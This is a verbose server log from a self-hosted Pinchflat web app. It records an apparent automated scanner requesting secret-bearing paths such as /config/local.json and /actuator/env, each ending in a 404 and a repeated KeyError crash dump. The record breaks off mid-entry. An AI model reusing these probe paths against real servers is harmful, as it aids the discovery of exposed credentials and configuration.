%Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9733.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/default.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50820}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/default (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9733.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/default.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50820}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9734.0>, params: %{}, path_info: ["config", "default"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/default.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate" (truncated) 15:21:59.604 [info] GET /config/local.json 15:21:59.605 [debug] QUERY OK source="settings" db=0.1ms idle=485.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:59.605 [debug] QUERY OK source="settings" db=0.0ms idle=485.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:59.605 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:59.605 [error] #PID<0.9736.0> running PinchflatWeb.Endpoint (connection #PID<0.9735.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/local.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/local (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9735.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/local.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50830}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9736.0>, params: %{}, path_info: ["config", "local"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/local.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBdJSa4Kn4PwAAdFC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9735.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/local.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50830}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/local (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9735.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/local.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50830}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9736.0>, params: %{}, path_info: ["config", "local"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/local.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-r (truncated) 15:21:59.837 [info] GET /conf/settings.json 15:21:59.837 [debug] QUERY OK source="settings" db=0.1ms idle=477.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:59.837 [debug] QUERY OK source="settings" db=0.0ms idle=477.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:59.837 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:59.837 [error] #PID<0.9738.0> running PinchflatWeb.Endpoint (connection #PID<0.9737.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /conf/settings.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /conf/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9737.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/conf/settings.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50832}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9738.0>, params: %{}, path_info: ["conf", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/conf/settings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBeAsdGtTkJcAAdGC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9737.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/conf/settings.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50832}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /conf/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9737.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/conf/settings.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50832}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9738.0>, params: %{}, path_info: ["conf", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/conf/settings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 15:22:00.073 [info] GET /data/config.json 15:22:00.073 [debug] QUERY OK source="settings" db=0.2ms idle=555.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:00.073 [debug] QUERY OK source="settings" db=0.0ms idle=468.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:00.073 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:00.073 [error] #PID<0.9740.0> running PinchflatWeb.Endpoint (connection #PID<0.9739.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /data/config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /data/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/data/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 46986}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9740.0>, params: %{}, path_info: ["data", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/data/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBe48UKriwgEAAdHC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/data/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 46986}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /data/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/data/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 46986}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9740.0>, params: %{}, path_info: ["data", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/data/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id" (truncated) 15:22:00.308 [info] GET /actuator/env 15:22:00.308 [debug] QUERY OK source="settings" db=0.0ms idle=703.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:00.308 [debug] QUERY OK source="settings" db=0.0ms idle=471.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:00.308 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:00.308 [error] #PID<0.9742.0> running PinchflatWeb.Endpoint (connection #PID<0.9741.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9741.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 46998}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9742.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBfxB7_YliDMAAdIC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 